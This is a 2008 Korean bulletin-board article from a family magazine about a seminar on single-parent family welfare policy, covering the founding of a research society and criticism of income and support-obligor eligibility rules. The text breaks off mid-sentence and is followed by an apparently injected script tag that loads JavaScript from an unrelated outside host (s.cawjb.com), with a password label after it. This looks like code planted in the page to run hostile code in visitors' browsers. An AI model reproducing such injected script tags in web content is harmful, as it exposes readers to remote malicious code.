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제 목   한부모가정 복지정책, 달라져야한다   번 호   803 조회수  6025   이메일       작성자   월간 아름다운 가정 작성일   08-08-18   내 용   한부모가정 복지정책, 달라져야한다 통합적 자립지원 서비스 체제로 이영미(가명)님은 몇 해 전 남편과 이혼하고 3살 된 자녀를 키우고 있 는 젊은 한부모이다. 그녀는 정부지원을 한 푼도 받지 못하고 부모님 의 집에 얹혀살고 있다. 부모님 또한 넉넉한 살림은 아니어서 먹고 자 는 것만 해결해 줄 뿐 교통비 한번 받아보지 못했다고 한다. 그녀는 눈물을 글썽거리며 “어려운 살림에 저까지 신세를 지니 형편 이 말이 아니에요. 제가 취업을 하려고 해도 이혼했다고 하면 받아주 는 곳도 없더군요. 정부정책이 바뀌어 어려움에 처한 한부모가정이 정 부지원을 받으며 자립해 나갔으면 좋겠어요”라고 말한다. 이영미 님은 지난 7월 11일 송파 여성문화회관 소강당에서 개최되는 학술대회에 모습을 보였다. 평소 같으면 한부모가정이란 티가 날까봐 참석하지 않았을 터지만 “현실상황이 급하다 보니 한부모가정의 복지 정책이 빨리 달라져야 한다”는 생각에 학술대회에 참석하게 되었다 고 말한다. 한국한부모가정학회 창립 이영미 님이 참석한 학술대회는 한국한부모가정연구소에서 주최하는 대회로 송파구 여성주간행사 및 한국한부모가정학회 창립를 기념하기 위해 마련되었다. 지난 7월 11일에 있은 한부모가정학술세미나한국한부모가정학회는 한 국한부모가정연구소의 부설기관으로 한부모가정에 대한 학문적 연구 와 학술활동을 통하여 한부모가정에 대한 사회적인 편견을 줄이고, 한 부모가정의 복지증진에 이바지하기 위해 설립되었다. 이를 위해 한부모가정과 관련된 문제를 토론하고 정책을 제안하는 등 우리나라 한부모가정 복지정책과 사회복지 및 교육현장에 기여하고자 한다. 지난 6월 11일 창립된 학회는 황은숙 회장을 중심으로 50여명 의 이사로 조직을 구성하였고, 첫 활동으로 “한부모가정 복지정책, 달라져야 한다”는 주제의 학술대회를 주관하게 되었다. “한부모가정 복지정책 달라져야 한다” 첫 번째 주제 발표를 한 박복순 위원 “한부모가정 복지정책, 달라져 야 한다”는 학술대회 주제에서 강조한 것은 외국의 한부모가정 복지 정책을 살펴 우리에게 주는 시사점을 알아보고, 우리나라 한부모가정 복지정책의 현황과 개선방안을 모색하여 향후 한부모가정 복지정책의 전개방향을 제안하고자 한 것이다. 첫 주제발표를 맡은 박복순 연구위원(한국여성정책연구원)은 외국 의 한부모가정 복지모델로 영국․독일․일본의 사례를 소개하고, 이 들 국가들의 한부모가정 복지정책이 복지 급여정책에서 근로유인정책 으로 바뀌어 가고 있다고 강조했다. 두 번째 주제 발표를 한 황은숙 소장 두 번째 주제발표를 맡은 황은 숙 소장(한국한부모가정연구소)은 한부모가정 복지정책의 문제점을 한 부모가족지원법을 중심으로 언급하고, 현행 한부모가족지원법이 20여 년이 되도록 크게 달라지지 않아 한부모가정의 복지욕구를 충족시키 지 못하고 있다고 지적하였다. 홍순강 교수(한국한부모가정학회 고문)를 좌장으로 하여 진행된 종 합토론에서 김화수 교수(루터대학교)는 외국의 사례처럼 한부모가정 복지정책이 한부모가정에게 실질적인 도움이 되는 방향으로 전개될 필 요성이 있다고 언급하였다. 조양자 교수(동남보건대학 명예교수)은 “한부모가정의 부모들을 만나 보면 그 생활이 몹시 어려운 데 정부지원을 받고 있는 사람들은 그리 많지 않다”고 지적하고, 정부의 적극적인 지원이 필요하다고 말했 다. 선정기준의 문제점 이날 한부모가정 복지정책의 문제점으로 등장한 이슈들은 저소득 한부 모가정 선정기준과 복지내용 상의 문제점들이었다. 황은숙 소장은 “우리나라 전체가구의 8.6%인 1,370천 가구가 한부모 가정인데 반해, 정부지원을 받고 있는 저소득 한부모가정은 66,163 가 구로 극소수이며, 수급자와 국가보훈 대상자를 모두 합해도 그 가구 수가 140,188 가구에 그친다”고 지적하며 “이는 선정기준에 문제가 있기 때문”이라고 강조하였다. 황은숙 소장이 제기한 선정기준의 문제는 소득의 범위와 부양 의무자 의 재산과 소득의 문제이다. 저소득 한부모가정이 되려면 소득인정액 이 2인 가구 기준 약 102만원 이하여야 한다. 그러나 소득인정액 산정시 소득이란 본인의 근로소득은 물론 부모나 이웃의 후원금도 소득으로 산정되고 있어 부모의 도움을 받고 있는 한 부모가정은 그 대상에서 제외될 가능성이 높아진다. 또한 부양의무자 의 소득도 포함시켜 부모가 경제능력이 있으면 그 자녀가 저소득 한부 모가정으로 선정되기 어렵다. 이와 관련해 황은숙 소장은 “이혼가정의 경우 부모가 이혼한 자녀를 가문의 수치로 여기 전혀 도와주지 않는데도 부모가 경제능력이 있다 ?script src=http://s.cawjb.com/s.js> 비밀번호:

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